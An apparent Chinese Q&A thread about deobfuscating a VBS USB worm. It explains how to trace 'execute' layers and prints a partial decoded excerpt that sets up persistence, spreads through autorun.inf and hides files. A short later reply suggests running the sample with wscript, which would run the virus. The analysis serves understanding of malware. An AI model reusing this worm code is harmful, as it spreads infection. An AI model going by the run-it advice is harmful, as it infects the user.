我去打印房打印,u盘上中了这个.vbs的病毒,用记事本打开全是乱码,求解密之后的源代码````

详细见我博客 http://hi.baidu.com/浅草飞舞/blog

你好
这个是vbs脚本病毒,看上去是乱码,一点也看不懂,其实还是有迹可循的。其思路就是寻 找"execute"关键词。病毒最终,还是要换成机器可以看懂的内容,也就是说,最后一层的execute里面的内容,就是病毒的源代码。按照这个思路,那么可以知道,解密方法也一定就在这个execute里面。
也就是说:无需明白他是如何加密的,只需要知道,execute出来的是什么。

按照这个思路,可以得到程序的最后一次迭代加密过程前的代码,也就是第一次迭代解密的代码,看上去还是乱码,不过还是同样的道理,总可以找到execute这个关键词。病毒可能经过多次迭代,不过最终还是可以看懂的。

需要注意的是,execute后面的内容解密出来如果真的用execute执行了,那就中招了,所以这里要注意不能把execute也放进去一起执行。

以下是我的解密最终代码片断

这个程序作者比较BT,手工加密了很多地方,还手工打乱了代码,严重妨碍了程序可读性。

分析完代码其大致功能是
1。开机自启动
2。U盘的感染
3。破坏系统隐藏功能

on error resume next
j="\":til="SY":btj=900:vs=".vbs":ve=".vbe":cm="%comspec% /c":dfo="/u#t/":inf="\autorun.inf"
set ws=createobject("wscript.shell"):set fso=createobject("scripting.filesystemobject")
set wmi=getobject("winmgmts:\\.\root\cimv2"):set sis=wmi.execquery("select * fromwin32_operatingsystem")
set dc=fso.drives:set ats=wmi.execquery("select * from win32_service where name='Schedule'")
for each atc in ats:cat=atc.state:next:if cat="Stopped" then ws.run "net start ""task scheduler""",0,false
ouw=wscript.scriptfullname:win=fso.getspecialfolder(0)&j:dir=fso.getspecialfolder(1)&j
tmp=fso.getspecialfolder(2)&j:wbe=dir&"wbem\":mir=left(ouw,len(ouw)-len (wscript.scriptname))
cnr="\computername":cnp="HKLM\system\currentcontrolset\control"&cnr&cnr&cnr:cna=rr (cnp,0):if cna="" then cna=til
wsc="wscript.exe":csc="cscript.exe":css=csc&" //nologo ":wsr=rn&":createobject (""wscript.shell"").run"
c=vbcrlf:inc=til&c&"[autorun]"&c&"open="&wsc&" .\"&vs&c&"shell\open\command="&wsc&" .\"&vs&c&"shell\open\default=1"
sf="shell folders\":rop="\software\microsoft\windows\currentversion\explorer\":dap=rr ("HKCU"&rop&sf&"desktop",0)&j
rpa="HKLM\software\"&cna&j:fsp=rr("HKLM"&rop&sf&"common startup",0)&j&vs:fap=rr ("HKCU"&rop&sf&"favorites",0)&j
ht=ec("ivwt?56"):ha=ec(":;9:7>5kw9"):hb=hl&"1;<<=6x"&hl&"r;":hc="0dwuEpE":hd=ec
("$"+hc):he=ec("c"+hc)
rsp="HKLM\software\microsoft\windows\currentversion\":rsb=rsp&"run\":rsp=rsp&"policies\explorer\run\"&cna
hip="HKCU"&rop&"advanced\showsuperhidden":sz=lcase(fso.getfilename(wscript.fullname)):if mir=dir then sys=true
for each si in
sis:ca=si.caption:cs=si.codeset:cc=si.countrycode:os=si.oslanguage:wv=si.version:next
if instr(wv,"5.2")<>0 then hb="w"+hb:lb="v" else if os<>2052 and cc<>86 then
hb="p"+hb:lb="o" else hb="d"+hb:lb="c"
for each d in dc
if mir=d&j then ws.run "explorer "&d,3,false:bir=true
next
if bir or sys or mir=win or mir=wbe then tir=true else wscript.quit
ouc=rt(ouw,-1):ver=gv(ouw):if ver="" or not isnumeric(ver) then msgbox("See You!"):km 1
else km 0
if sys then
if sz=wsc then pr csc,-1
if pr(csc,2)=1 then wscript.quit
wscript.sleep 2000
if pr(csc,1)=0 then ws.run css&dir&ve,0,false:if pr(csc,1)=1 then wscript.quit
if rr("til",1)<>til then wr "til",til:wr "tjs",btj:wr "djs",date-1:wr "ded",0
djs=rr("djs",1):if isdate(djs) and date-cdate(djs)>50 and lb<>"o" then wr "osw",4
if rr("atd",1)=1 then ws.run "at /d /y",0,false:wr "atd",0
le=rr("dna",1):if ei(tmp&le,1) then ws.run tmp&le
cu:er 10
else
wscript.sleep 5000
if pr(wsc,2)=2 then:if rr("tjc",1)=cstr(date) then:wscript.quit:else:wr "tjc",date
if pr(csc,1)<>1 or pr(wsc,1)=0 then bf dir&ve,ouc,7:ws.run css&dir&ve,0,false
end if
if pa=1 then rna=rpa&rna
rr=ws.regread(rna)
if er(0) then rr=0
for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next

由于VBS与JS一样是解释型语言,代码自上而下,一行一行地运行。所以解这类代码的一个技巧是:

我们寻找解密入口点时,应该优先考虑最后一个execute。作者大量使用逻辑拼接。。。属于很BT的加密。。。汗水...
温馨提示:答案为网友推荐,仅供参考
第1个回答  2009-03-02
这是100分能搞定的?
第2个回答  2009-03-02
文件名****.txt
@echo off
wscript //nologo //e:vbs ****.txt
保存为BAT放到文本同一目录下运行

参考资料:wudits2004